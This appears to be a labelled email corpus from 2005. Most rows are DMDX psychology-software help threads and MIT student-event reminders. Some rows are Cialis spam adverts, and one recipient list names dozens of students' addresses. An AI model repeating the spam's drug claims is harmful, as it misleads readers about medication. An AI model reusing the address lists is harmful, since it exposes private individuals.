as a response key as well, looks like the code will allow such activity so you'll get the RT in the AZK file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Creditors have much better memories than debtors. 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",DMDX@psy1.psych.arizona.edu,"Mon, 14 Mar 2005 08:03:32 -0700",[DMDX] Re: acknowledging DMDX use,"At 02:11 PM 3/14/2005 +1100, you wrote: >Dear Jonathon, >I have been using DMDX for some of my experimental work. >What is the best way to acknowledge the use of the program & developers in >a published paper? Also, does this need to be an 'in text' reference, or a >statement in the acknowledgements section? See Ken's page: http://www.u.arizona.edu/~kforster/dmastr/dmastr.htm The DMASTR software is distributed free of charge, and we ask only that you acknowledge use of the system in publications (e.g., ""The experiment was run using the DMASTR software developed at Monash University and at the University of Arizona by K.I.Forster and J.C.Forster.""). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Creditors have much better memories than debtors. ",0,1 Mark D Mascaro ,rradez@MIT.EDU,"Wed, 16 Mar 2005 15:49:27 -0500",CryoFAC Help,"I'd be interested in helping out, if you're still looking for people. (Wow, those bathroom newsposts really work.) DoubleMark ",0,0 Frank Council ,"dsircar@mit.edu, pressler@mit.edu, stephcho@mit.edu, rradez@mit.edu, mmt@mit.edu, aclare@mit.edu, amlanza@mit.edu, darragh@mit.edu, timmyp@mit.edu, luhlen@mit.edu, sasen@mit.edu, jscohen@mit.edu, kevinr@mit.edu, pnad@mit.edu, cantrell@mit.edu, yking@mit.edu, richsinn@mit.edu, ljordan@mit.edu, tbo@mit.edu, brads@mit.edu, ddanesh@mit.edu, kcheval@mit.edu, suki@mit.edu, kwalter@mit.edu, hawksley@mit.edu, ats-exec@mit.edu, fsa-officers@mit.edu, dormcon-exec@mit.edu, asa-exec@mit.edu, ua-cocomm@mit.edu, ifc-exec@mit.edu, davidcw@mit.edu, kmwerts@mit.edu, pdesuza@mit.edu, alternik@mit.edu, rradez@mit.edu, et-rush-chair@mit.edu, imobilare-exec@mit.edu, vsharris@mit.edu, baniszew@mit.edu, vfm@mit.edu, eterrero@mit.edu, drush@mit.edu, bmwong@mit.edu, chinwe04@mit.edu, hawksley@mit.edu, robind83@mit.edu, mytang@mit.edu, random-rush-chair@mit.edu, jpcmit@mit.edu, ellman@mit.edu, bruchez@mit.edu, clayward@mit.edu, neltnerb@mit.edu, tmrc-officers@mit.edu, sbarth@mit.edu, bryand@mit.edu, chidozie@mit.edu, apacker@mit.edu, afrye@mit.edu, yking@mit.edu, jlong@mit.edu, h0bbes@mit.edu, pdelcast@mit.edu, sbalster@mit.edu, richsinn@mit.edu, bmwong@mit.edu, fweld@mit.edu, anjum@mit.edu, mmt@mit.edu, yelena@mit.edu","Wed, 16 Mar 2005 17:31:48 -0500",REMINDER: CPW Festival Event Registration DUE THIS FRIDAY 3/18,"Hi all.... This is a REMINDER that CPW Festival Event Registrations are due this Friday March 18. Please take the time to register your event before you take off for Spring Break. I know everyone is hosed this week with exams and such....BUT....PLEASE take a few minutes to fill out the event registration at http://web.mit.edu/admissions/mitcpw/festival-reg.html - it only takes a few minutes. When filling out the registration, please be as specific as possible regarding all logistics. If you need electricity, please specify how many outlets, how many amps/watts/volts etc... In addition to your space request, please describe the event in detail. Also let us know if you will be having any type of food/beverage at your booth. There will be limited funds available for this event....BUT please don't count on your booth being completely funded. We will do the best we can to accommodate your requests. FINALLY - PLEASE PASS THIS REMINDER ALONG TO ANY OTHER INDIVIDUALS OR STUDENT GROUPS THAT YOU THINK SHOULD BE AT THE FESTIVAL. If you have any questions or comments, feel free to contact me or Matt McGann (mcgann). Thanks for all your input and involvement - WE LOOK FORWARD TO A FANTASTIC FESTIVAL on Thursday April 7. CPW Planning Committee Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762 ",0,1 Frank Council ,"dsircar@mit.edu, pressler@mit.edu, stephcho@mit.edu, rradez@mit.edu, mmt@mit.edu, aclare@mit.edu, amlanza@mit.edu, darragh@mit.edu, timmyp@mit.edu, luhlen@mit.edu, sasen@mit.edu, jscohen@mit.edu, kevinr@mit.edu, pnad@mit.edu, cantrell@mit.edu, yking@mit.edu, richsinn@mit.edu, ljordan@mit.edu, tbo@mit.edu, brads@mit.edu, ddanesh@mit.edu, kcheval@mit.edu, suki@mit.edu, kwalter@mit.edu, hawksley@mit.edu, ats-exec@mit.edu, fsa-officers@mit.edu, dormcon-exec@mit.edu, asa-exec@mit.edu, ua-cocomm@mit.edu, ifc-exec@mit.edu, davidcw@mit.edu, kmwerts@mit.edu, pdesuza@mit.edu, alternik@mit.edu, rradez@mit.edu, et-rush-chair@mit.edu, imobilare-exec@mit.edu, vsharris@mit.edu, baniszew@mit.edu, vfm@mit.edu, eterrero@mit.edu, drush@mit.edu, bmwong@mit.edu, chinwe04@mit.edu, hawksley@mit.edu, robind83@mit.edu, mytang@mit.edu, random-rush-chair@mit.edu, jpcmit@mit.edu, ellman@mit.edu, bruchez@mit.edu, clayward@mit.edu, neltnerb@mit.edu, tmrc-officers@mit.edu, sbarth@mit.edu, bryand@mit.edu, chidozie@mit.edu, apacker@mit.edu, afrye@mit.edu, yking@mit.edu, jlong@mit.edu, h0bbes@mit.edu, pdelcast@mit.edu, sbalster@mit.edu, richsinn@mit.edu, bmwong@mit.edu, fweld@mit.edu, anjum@mit.edu, mmt@mit.edu, yelena@mit.edu","Wed, 16 Mar 2005 17:38:10 -0500",ONE MORE THING - CPW FESTIVAL REGISTRATION,"If you have already attempted to register a festival booth, will you please reply to this email stating that you have done so. We want to make sure that we haven't missed any registrations. When your registration makes it to us, we'll send you a confirmation email. Thanks, CPW Planning Committee >Date: Wed, 16 Mar 2005 17:31:48 -0500 >To: dsircar@mit.edu, pressler@mit.edu, stephcho@mit.edu, rradez@mit.edu, >mmt@mit.edu, aclare@mit.edu, amlanza@mit.edu, darragh@mit.edu, >timmyp@mit.edu, luhlen@mit.edu, sasen@mit.edu, jscohen@mit.edu, >kevinr@mit.edu, pnad@mit.edu, cantrell@mit.edu, yking@mit.edu, >richsinn@mit.edu, ljordan@mit.edu, tbo@mit.edu, brads@mit.edu, >ddanesh@mit.edu, kcheval@mit.edu, suki@mit.edu, kwalter@mit.edu, >hawksley@mit.edu, ats-exec@mit.edu, fsa-officers@mit.edu, >dormcon-exec@mit.edu, asa-exec@mit.edu, ua-cocomm@mit.edu, >ifc-exec@mit.edu, davidcw@mit.edu, kmwerts@mit.edu, pdesuza@mit.edu, >alternik@mit.edu, rradez@mit.edu, et-rush-chair@mit.edu, >imobilare-exec@mit.edu, vsharris@mit.edu, baniszew@mit.edu, vfm@mit.edu, >eterrero@mit.edu, drush@mit.edu, bmwong@mit.edu, chinwe04@mit.edu, >hawksley@mit.edu, robind83@mit.edu, mytang@mit.edu, >random-rush-chair@mit.edu, jpcmit@mit.edu, ellman@mit.edu, >bruchez@mit.edu, clayward@mit.edu, neltnerb@mit.edu, >tmrc-officers@mit.edu, sbarth@mit.edu, bryand@mit.edu, chidozie@mit.edu, >apacker@mit.edu, afrye@mit.edu, yking@mit.edu, jlong@mit.edu, >h0bbes@mit.edu, pdelcast@mit.edu, sbalster@mit.edu, richsinn@mit.edu, >bmwong@mit.edu, fweld@mit.edu, anjum@mit.edu, mmt@mit.edu, yelena@MIT.EDU >From: Frank Council >Subject: REMINDER: CPW Festival Event Registration DUE THIS FRIDAY 3/18 >Cc: fcouncil@mit.edu, ldnoel@mit.edu, jsacosta@mit.edu, lorelle@mit.edu, >amyperez@mit.edu, mitral@mit.edu, trob@mit.edu, shawnacg@mit.edu, >rlas@mit.edu, fmiles@mit.edu, joyeg@mit.edu > >Hi all.... > >This is a REMINDER that CPW Festival Event Registrations are due this >Friday March 18. Please take the time to register your event before you >take off for Spring Break. I know everyone is hosed this week with exams >and such....BUT....PLEASE take a few minutes to fill out the event >registration at http://web.mit.edu/admissions/mitcpw/festival-reg.html - >it only takes a few minutes. > >When filling out the registration, please be as specific as possible >regarding all logistics. If you need electricity, please specify how many >outlets, how many amps/watts/volts etc... In addition to your space >request, please describe the event in detail. Also let us know if you >will be having any type of food/beverage at your booth. > >There will be limited funds available for this event....BUT please don't >count on your booth being completely funded. We will do the best we can >to accommodate your requests. > >FINALLY - PLEASE PASS THIS REMINDER ALONG TO ANY OTHER INDIVIDUALS OR >STUDENT GROUPS THAT YOU THINK SHOULD BE AT THE FESTIVAL. > >If you have any questions or comments, feel free to contact me or Matt >McGann (mcgann). > >Thanks for all your input and involvement - WE LOOK FORWARD TO A FANTASTIC >FESTIVAL on Thursday April 7. > >CPW Planning Committee > > >Frank Council >Coordinator of Fraternities, Sororities, and Living Groups >Massachusetts Institute of Technology >W20-549 >77 Massachusetts Avenue >Cambridge, Massachusetts 02139-4307 >fcouncil@mit.edu >617-258-9762 > > Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762",0,1 Lenora Gagne ,DMDX@psy1.psych.arizona.edu,"Wen, Thu, 17 Mar 2005 10:10:01 -0900",Take just a candy and become ready for 36 hours of love ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. 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This workshop is part of the TYPES project (http://www.cs.chalmers.se/Cs/Research/Logic/Types/) Topics include, but are not limited to: * the development of constructive analysis in type theory * program extraction from such developments * exact real number computation * co-inductive methods for continuous structures * semantics for real computations (e.g. domain theory, formal topology) Invited speakers: Martín Escardó and Norbert Müller Homepage: http://www.cs.ru.nl/fnds/typesreal/ Deadline for registration: September 1st 2005. We are in the process of investigating the possibilities for a post-workshop proceedings. Organizers: Herman Geuvers Nicole Messink Milad Niqui Bas Spitters ",0,1 Jackie Holloway ,DMDX@psy1.psych.arizona.edu,"Fri, 18 Mar 2005 13:08:46 -0800","[DMDX] ""Missing Item Number"" error message when item #'s are in place","Hi, I've been having much luck with working out my errors on DMDX when they are encountered, but one here has got me stumped. I have pasted the script below. Now, I had almost identical script for another .rtf file, which runs fine. But with this one, I keep getting the error ""Missing Item Number ""APour_LO_High_F2-02.avi"" /*/;>"" and that error comes up again for "".../+301..."" as well. I've tried all of the help options, and looking through the list serve, but nothing seems to work. Am I overlooking something? I have also pasted the working script from my other .rtf file (below the dotted line) to show you the one that worked (if you wanted to see it). Thank you in advance for any help. -Jacqueline $0 ""This is a trial experiment."", ""If the following video clip plays in real time"", ""press the RIGHT shift key"", ""If the video clip does not play in real time"", ""press the LEFT shift key"";$ $ 99 ""LO_High_still_pic.bmp""/;$ +101 ""APour_LO_High_F2-02.avi"" /*/; +102 ""APour_LO_High_F2-04.avi"" /*/; +103 ""APour_LO_High_F2-06.avi"" /*/; +104 ""APour_LO_High_F2-08.avi"" /*/; +105 ""Pour_LO_High_F2-Orig.avi"" /*/; +106 ""Pour_LO_High_F2-01.avi"" /*/; +107 ""Pour_LO_High_F2-02.avi"" /*/; +108 ""Pour_LO_High_F2-03.avi"" /*/; +109 ""Pour_LO_High_F2-04.avi"" /*/; +110 ""APour_LO_High_F2-02.avi"" /*/; +111 ""APour_LO_High_F2-04.avi"" /*/; +112 ""APour_LO_High_F2-06.avi"" /*/; +113 ""APour_LO_High_F2-08.avi"" /*/; +114 ""Pour_LO_High_F2-Orig.avi"" /*/; +115 ""Pour_LO_High_F2-01.avi"" /*/; +116 ""Pour_LO_High_F2-02.avi"" /*/; +117 ""Pour_LO_High_F2-03.avi"" /*/; +118 ""Pour_LO_High_F2-04.avi"" /*/; / +201 ""APour_LO_High_F2-02.avi"" /*/; +202 ""APour_LO_High_F2-04.avi"" /*/; +203 ""APour_LO_High_F2-06.avi"" /*/; +204 ""APour_LO_High_F2-08.avi"" /*/; +205 ""Pour_LO_High_F2-Orig.avi"" /*/; +206 ""Pour_LO_High_F2-01.avi"" /*/; +207 ""Pour_LO_High_F2-02.avi"" /*/; +208 ""Pour_LO_High_F2-03.avi"" /*/; +209 ""Pour_LO_High_F2-04.avi"" /*/; +210 ""APour_LO_High_F2-02.avi"" /*/; +211 ""APour_LO_High_F2-04.avi"" /*/; +212 ""APour_LO_High_F2-06.avi"" /*/; +213 ""APour_LO_High_F2-08.avi"" /*/; +214 ""Pour_LO_High_F2-Orig.avi"" /*/; +215 ""Pour_LO_High_F2-01.avi"" /*/; +216 ""Pour_LO_High_F2-02.avi"" /*/; +217 ""Pour_LO_High_F2-03.avi"" /*/; +218 ""Pour_LO_High_F2-04.avi"" /*/; / +301 ""APour_LO_High_F2-02.avi"" /*/; +302 ""APour_LO_High_F2-04.avi"" /*/; +303 ""APour_LO_High_F2-06.avi"" /*/; +304 ""APour_LO_High_F2-08.avi"" /*/; +305 ""Pour_LO_High_F2-Orig.avi"" /*/; +306 ""Pour_LO_High_F2-01.avi"" /*/; +307 ""Pour_LO_High_F2-02.avi"" /*/; +308 ""Pour_LO_High_F2-03.avi"" /*/; +309 ""Pour_LO_High_F2-04.avi"" /*/; +310 ""APour_LO_High_F2-02.avi"" /*/; +311 ""APour_LO_High_F2-04.avi"" /*/; +312 ""APour_LO_High_F2-06.avi"" /*/; +313 ""APour_LO_High_F2-08.avi"" /*/; +314 ""Pour_LO_High_F2-Orig.avi"" /*/; +315 ""Pour_LO_High_F2-01.avi"" /*/; +316 ""Pour_LO_High_F2-02.avi"" /*/; +317 ""Pour_LO_High_F2-03.avi"" /*/; +318 ""Pour_LO_High_F2-04.avi"" /*/; / $0 ""This is the end of the experiment."", ""Thank you for your participation!"";$ ------------------------------------------------------- $0 ""This is a trial experiment."", ""If the following video clip plays in real time"", ""press the RIGHT shift key"", ""If the video clip does not play in real time"", ""press the LEFT shift key"";$ +10 ""APour_LO_High_F2-02.avi"" /*/; -11 ""APour_LO_High_F2-04.avi"" /*/; -12 ""APour_LO_High_F2-06.avi"" /*/; -13 ""APour_LO_High_F2-08.avi"" /*/; +14 ""Pour_LO_High_F2-Orig.avi"" /*/; -15 ""Pour_LO_High_F2-01.avi"" /*/; -16 ""Pour_LO_High_F2-02.avi"" /*/; -17 ""Pour_LO_High_F2-03.avi"" /*/; -18 ""Pour_LO_High_F2-04.avi"" /*/; \\ $0 ""This is the end of the first block."", ""When you are ready to begin the second block of trials"", ""press the spacebar."";$ \\ +20 ""APour_LO_Low_F2-02.avi"" /*/; -21 ""APour_LO_Low_F2-04.avi"" /*/; -22 ""APour_LO_Low_F2-06.avi"" /*/; -23 ""APour_LO_Low_F2-08.avi"" /*/; . . etc. __________________________________ Do you Yahoo!? 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Please note that the April 11 abstract deadline is asbolute, there will no extension. **************************************** GEON: Cyberinfrastructure for the Geosciences 3rd Annual Meeting A National Meeting on Research Frontiers in Cyberinfrastructure for the Geosciences May 5 & 6, 2005 Bahia Resort Hotel, San Diego, CA GEON (www.geongrid.org) is hosting a two-day meeting on current developments and identifying further needs and opportunities in the area of cyberinfrastructure (CI) for the Geosciences. Research results from both the GEON project, as well as those from other members of the community will be presented. Meeting Guidelines Meeting is open to all who are interested in information technology based geoscience research and education. All participants are encouraged to submit an abstract. Speakers and posters will be selected from submitted abstracts. Presenting authors will be notified by April 15, 2005. Registration and abstract deadline is April 11, 2005. For further information and to apply please visit http://www.geongrid.org/AM05/ GEON is an NSF-funded collaborative research project facilitating information integration and knowledge discovery in the Geosciences. ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 18 Mar 2005 16:25:16 -0700","[DMDX] Re: ""Missing Item Number"" error message when item #'s are in place","You are using forward slashes (/) for scramble emit characters instead of back slashes (\\). At 01:08 PM 3/18/2005 -0800, you wrote: >Hi, >I've been having much luck with working out my errors >on DMDX when they are encountered, but one here has >got me stumped. I have pasted the script below. Now, >I had almost identical script for another .rtf file, >which runs fine. But with this one, I keep getting >the error ""Missing Item Number >""APour_LO_High_F2-02.avi"" /*/;>"" and that error >comes up again for "".../+301..."" as well. >I've tried all of the help options, and looking >through the list serve, but nothing seems to work. Am >I overlooking something? I have also pasted the >working script from my other .rtf file (below the >dotted line) to show you the one that worked (if you >wanted to see it). Thank you in advance for any help. >-Jacqueline > > keyboard> +left shift> 1799> > >$0 ""This is a trial experiment."", > ""If the following video clip plays in real >time"", >""press the RIGHT shift key"", > ""If the video clip does not play in real >time"", > ""press the LEFT shift key"";$ >$ 99 ""LO_High_still_pic.bmp""/;$ >+101 ""APour_LO_High_F2-02.avi"" /*/; >+102 ""APour_LO_High_F2-04.avi"" /*/; >+103 ""APour_LO_High_F2-06.avi"" /*/; >+104 ""APour_LO_High_F2-08.avi"" /*/; >+105 ""Pour_LO_High_F2-Orig.avi"" /*/; >+106 ""Pour_LO_High_F2-01.avi"" /*/; >+107 ""Pour_LO_High_F2-02.avi"" /*/; >+108 ""Pour_LO_High_F2-03.avi"" /*/; >+109 ""Pour_LO_High_F2-04.avi"" /*/; > >+110 ""APour_LO_High_F2-02.avi"" /*/; >+111 ""APour_LO_High_F2-04.avi"" /*/; >+112 ""APour_LO_High_F2-06.avi"" /*/; >+113 ""APour_LO_High_F2-08.avi"" /*/; >+114 ""Pour_LO_High_F2-Orig.avi"" /*/; >+115 ""Pour_LO_High_F2-01.avi"" /*/; >+116 ""Pour_LO_High_F2-02.avi"" /*/; >+117 ""Pour_LO_High_F2-03.avi"" /*/; >+118 ""Pour_LO_High_F2-04.avi"" /*/; >/ >+201 ""APour_LO_High_F2-02.avi"" /*/; >+202 ""APour_LO_High_F2-04.avi"" /*/; >+203 ""APour_LO_High_F2-06.avi"" /*/; >+204 ""APour_LO_High_F2-08.avi"" /*/; >+205 ""Pour_LO_High_F2-Orig.avi"" /*/; >+206 ""Pour_LO_High_F2-01.avi"" /*/; >+207 ""Pour_LO_High_F2-02.avi"" /*/; >+208 ""Pour_LO_High_F2-03.avi"" /*/; >+209 ""Pour_LO_High_F2-04.avi"" /*/; > >+210 ""APour_LO_High_F2-02.avi"" /*/; >+211 ""APour_LO_High_F2-04.avi"" /*/; >+212 ""APour_LO_High_F2-06.avi"" /*/; >+213 ""APour_LO_High_F2-08.avi"" /*/; >+214 ""Pour_LO_High_F2-Orig.avi"" /*/; >+215 ""Pour_LO_High_F2-01.avi"" /*/; >+216 ""Pour_LO_High_F2-02.avi"" /*/; >+217 ""Pour_LO_High_F2-03.avi"" /*/; >+218 ""Pour_LO_High_F2-04.avi"" /*/; >/ > >+301 ""APour_LO_High_F2-02.avi"" /*/; >+302 ""APour_LO_High_F2-04.avi"" /*/; >+303 ""APour_LO_High_F2-06.avi"" /*/; >+304 ""APour_LO_High_F2-08.avi"" /*/; >+305 ""Pour_LO_High_F2-Orig.avi"" /*/; >+306 ""Pour_LO_High_F2-01.avi"" /*/; >+307 ""Pour_LO_High_F2-02.avi"" /*/; >+308 ""Pour_LO_High_F2-03.avi"" /*/; >+309 ""Pour_LO_High_F2-04.avi"" /*/; > >+310 ""APour_LO_High_F2-02.avi"" /*/; >+311 ""APour_LO_High_F2-04.avi"" /*/; >+312 ""APour_LO_High_F2-06.avi"" /*/; >+313 ""APour_LO_High_F2-08.avi"" /*/; >+314 ""Pour_LO_High_F2-Orig.avi"" /*/; >+315 ""Pour_LO_High_F2-01.avi"" /*/; >+316 ""Pour_LO_High_F2-02.avi"" /*/; >+317 ""Pour_LO_High_F2-03.avi"" /*/; >+318 ""Pour_LO_High_F2-04.avi"" /*/; >/ >$0 ""This is the end of the experiment."", >""Thank you for your participation!"";$ > >------------------------------------------------------- > > keyboard> > 1.5> >$0 ""This is a trial experiment."", > ""If the following video clip plays in real >time"", >""press the RIGHT shift key"", > ""If the video clip does not play in real >time"", > ""press the LEFT shift key"";$ >+10 ""APour_LO_High_F2-02.avi"" /*/; >-11 ""APour_LO_High_F2-04.avi"" /*/; >-12 ""APour_LO_High_F2-06.avi"" /*/; >-13 ""APour_LO_High_F2-08.avi"" /*/; >+14 ""Pour_LO_High_F2-Orig.avi"" /*/; >-15 ""Pour_LO_High_F2-01.avi"" /*/; >-16 ""Pour_LO_High_F2-02.avi"" /*/; >-17 ""Pour_LO_High_F2-03.avi"" /*/; >-18 ""Pour_LO_High_F2-04.avi"" /*/; >\\ >$0 ""This is the end of the first block."", >""When you are ready to begin the second block of >trials"", > ""press the spacebar."";$ >\\ >+20 ""APour_LO_Low_F2-02.avi"" /*/; >-21 ""APour_LO_Low_F2-04.avi"" /*/; >-22 ""APour_LO_Low_F2-06.avi"" /*/; >-23 ""APour_LO_Low_F2-08.avi"" /*/; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You should hardly ever equivocate.",0,0 Bob Reilly ,XXX@XXXXXXXX.XXXXXXX.XXX,"Fri, 18 Mar 2005 17:09:46 -0800",a new way to send newsletters,"Mr. Philips, I noticed you have had some recent problems with your mailing lists. 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Forster, For the training phase of my exp I have 4 prototypes that people have to recognize; ideally I need to count how many errors they do for each prototype and if in at least 1 prototype they do not do 80% correct they should start again. Unfortunately I was not able to do that, so I solved my probl by increasing the perc of correct that I want overall (90%) and use a simpler ?biert 10? function. Could you give me some suggestions on how set the four different counters as cue for the branching procedure, - I tried to set an error counter for just one prototype as trial but didn?t work -? I include my code for branching that seems to work, Thank you very much, sorry for the vagueness of my question. annalisa branching: $ 0 ""This is object A, you have 2 sec to observe it, press the spacebar to begin"" ; 77 ""+""/ / ""prototA.avi.avi"" / ; 0 ""This is object B, you have 2 sec to observe it, press the spacebar to begin"" ; 78 ""+""/ / ""prototB.avi.avi"" / ; 0 ""This is object C, you have 2 sec to observe it, press the spacebar to begin"" ; 79 ""+""/ / ""prototC.avi.avi"" / ; 0 ""This is object D, you have 2 sec to observe it, press the spacebar to begin"" ; 80 ""+""/ / ""prototD.avi.avi"" / ; 0 ""Press the correspondent key to identify the object"" ; 0 ""If you make more than 90% error you will have to start again"" ; 10000 / ; $ +1 ""+""/ / * ""prototA.avi.avi""/ /; +2 ""+""/ / * ""prototA.avi.avi""/ /; $ 999 / ; 0 ""The End""; $ Annalisa Setti, Post Doc. Psychology Department of Psychology University of Bologna (Italy)",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Mar 2005 15:41:56 -0700",[DMDX] Re: counters,"You'll have to keep track of the error rates individually, the internal error rate counters will never do what you need. So for each prototype you'll need a counter for the number of correct responses and a counter for the total number of responses and then a branch that calculates the error rates and branches if any of them are too low. Correct response counters will be 10, 20, 30 and 40, totals will be 11, 12, 13 and 14. You'll want to repeat the 1000, 2000, 3000 and 4000 items as many times as data points you wish to gather. The keywords are for debugging. 100 ""start"" ; +1000 ""prototype 1 test"" * ; +2000 ""prototype 2 test"" * ; +3000 ""prototype 3 test"" * ; +4000 ""prototype 4 test"" * ; +1000 ""prototype 1 test"" * ; +2000 ""prototype 2 test"" * ; +3000 ""prototype 3 test"" * ; +4000 ""prototype 4 test"" * ; +1000 ""prototype 1 test"" * ; +2000 ""prototype 2 test"" * ; +3000 ""prototype 3 test"" * ; +4000 ""prototype 4 test"" * ; 200 ; At 03:22 PM 3/21/2005 +0000, you wrote: >Dear prof. Forster, >For the training phase of my exp I have 4 prototypes that people have to >recognize; ideally I need to count how many errors they do for each prototype >and if in at least 1 prototype they do not do 80% correct they should start >again. Unfortunately I was not able to do that, so I solved my probl by >increasing >the perc of correct that I want overall (90%) and use a simpler ?biert 10? >function. >Could you give me some suggestions on how set the four different counters >as cue for the branching procedure, - I tried to set an error counter for >just one prototype as trial but didn?t work -? I include my code for branching >that seems to work, >Thank you very much, sorry for the vagueness of my question. >annalisa > >branching: > ""+b""> 1024, 16, 75> >$ >0 ""This is object A, you have 2 sec to observe it, press the spacebar to >begin"" ; >77 ""+""/ / ""prototA.avi.avi"" / ; >0 ""This is object B, you have 2 sec to observe it, press the spacebar to >begin"" ; >78 ""+""/ / ""prototB.avi.avi"" / ; >0 ""This is object C, you have 2 sec to observe it, press the spacebar to >begin"" ; >79 ""+""/ / ""prototC.avi.avi"" / ; >0 ""This is object D, you have 2 sec to observe it, press the spacebar to >begin"" ; >80 ""+""/ / ""prototD.avi.avi"" / ; >0 ""Press the correspondent key to identify the object"" ; >0 ""If you make more than 90% error you will have to start again"" ; >10000 / ; >$ >+1 ""+""/ / * 500> ""prototA.avi.avi""/ /; >+2 ""+""/ / * 500> ""prototA.avi.avi""/ /; >$ >999 / ; >0 ""The End""; $ > > >Annalisa Setti, >Post Doc. Psychology >Department of Psychology >University of Bologna (Italy) > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You should hardly ever equivocate.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Mar 2005 18:30:59 -0700",[DMDX] Re: counters,"At 03:41 PM 3/21/2005 -0700, you wrote: >200 > > > > (c20 * 100 / c21 .lt. 80) .or. > (c30 * 100 / c31 .lt. 80) .or. > (c40 * 100 / c41 .lt. 80) >; That item should have a tilde in front of it, ~200 etc but it got eaten by the email system, go figure. That way it doesn't affect the display, wait for a request or do anything other than a branch and emitting the counters values. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Carelessly planned projects take three times longer to complete than expected. Carefully planned projects take four times longer to complete than expected, mostly because the planners expect their planning to reduce the time it takes.",0,0 Jackie Holloway ,DMDX@psy1.psych.arizona.edu,"Wed, 23 Mar 2005 13:14:28 -0800",[DMDX] Timing with dv's,"Hi, We are trying to figure out some timing with videos. We are trying to have short videos play (each between 4-5 seconds), followed by a fixed 6 second ISI. I tried running a simple code to make sure that the d and fd parameters are timed correctly... 0 ""start""; +1 * ""first""/ !; +2 * ""second""/ !; +3 * ""third""/ !; 0 ""stopped""; ...using the clock on times from the .zil output file to measure the msec's between items -works fine. I then tried that with my dv file... 0 ""This is a trial experiment."", ""If the following video clip plays in real time"", ""press the RIGHT shift key"", ""If the video clip does not play in real time"", ""press the LEFT shift key""; ^99 * ""LO_High_still_pic.bmp""/; +10 * ""APour_LO_High_F2-02cut.avi"" / !; -11 * ""APour_LO_High_F2-04cut.avi"" / !; -12 * ""APour_LO_High_F2-06cut.avi"" / !; -13 * ""APour_LO_High_F2-08cut.avi"" / !; +14 * ""Pour_LO_High_F2-Origcut.avi"" / !; -15 * ""Pour_LO_High_F2-01cut.avi"" / !; -16 * ""Pour_LO_High_F2-02cut.avi"" / !; -17 * ""Pour_LO_High_F2-03cut.avi"" / !; -18 * ""Pour_LO_High_F2-04cut.avi"" / !; 0 ""This is the end of the experiment."", ""Thank you for your participation!""; ...But when I check the timing, the first clock on time is 348 msec slow, then the next is 431 msec slow, and it keeps increasing like that. Even if I eliminate the in my header line, it doesn't seem to make much of a difference in my .zil file output. I also tried putting a switch before each dv item (since each video is a different length) and that didn't fix the timing either. How might I set the frame durations for each video, being each a different length, while also having a 30 second still picture at the beginning? Is the time discrepancy in my .zil file due to the video loading time? I read about how to pre-load a bitmap (putting a 'g' in the item line), but I don't think you can pre-load movies. I would greatly appreciate if you have any clarification for this. Thank you much __________________________________ Do you Yahoo!? Yahoo! Small Business - Try our new resources site! http://smallbusiness.yahoo.com/resources/",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 23 Mar 2005 17:29:42 -0700",[DMDX] Re: Timing with dv's,"At 01:14 PM 3/23/2005 -0800, you wrote: >didn't fix the timing either. How might I set the >frame durations for each video, being each a different >length, while also having a 30 second still picture at >the beginning? Nothing leaps to mind, the duration of those frames is going to be set by the duration of the video file. You'd have to know the duration of the files and pad them with blank frames of appropriate durations. > Is the time discrepancy in my .zil >file due to the video loading time? Possible but 360 ticks should be more than long enough -- then again maybe your computer is really slow. TimeDX's Digital Video test displays some stats, like the Run Transition Time, you might want to play the files and see what those values are. > I read about how >to pre-load a bitmap (putting a 'g' in the item line), >but I don't think you can pre-load movies. Look at the keyword, it works for Digital Video. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You should hardly ever equivocate.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 23 Mar 2005 19:53:01 -0700",[DMDX] Re: Timing with dv's,"At 05:29 PM 3/23/2005 -0700, you wrote: >At 01:14 PM 3/23/2005 -0800, you wrote: >>didn't fix the timing either. How might I set the >>frame durations for each video, being each a different >>length, while also having a 30 second still picture at >>the beginning? > > Nothing leaps to mind, the duration of those frames is going to be set > by the duration of the video file. You'd have to know the duration of > the files and pad them with blank frames of appropriate durations. It's faintly possible that you could specify the durations of the frames playing the video to be longer than the video with something like this: +1 * ""name"" <%ms 30000> / ; But there's a bunch of mechanisms in there that take into account that the rest of the item is to begin when the video finishes so I'm not betting that overriding the frame's duration isn't going to work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Carelessly planned projects take three times longer to complete than expected. Carefully planned projects take four times longer to complete than expected, mostly because the planners expect their planning to reduce the time it takes.",0,0 Marlene Isaac ,DMDX@psy1.psych.arizona.edu,"Wen, Thu, 24 Mar 2005 06:53:37 -0900",This is most modern and safe way not to cover with shame ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. 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And then the next item, with the same principle, would be starting. My problem is that when I begin to play the test sound with DMDX, and when the user clicks, the sound goes on playing until the end of the WAV file. Here's a sample of the script I am using : +1001 / 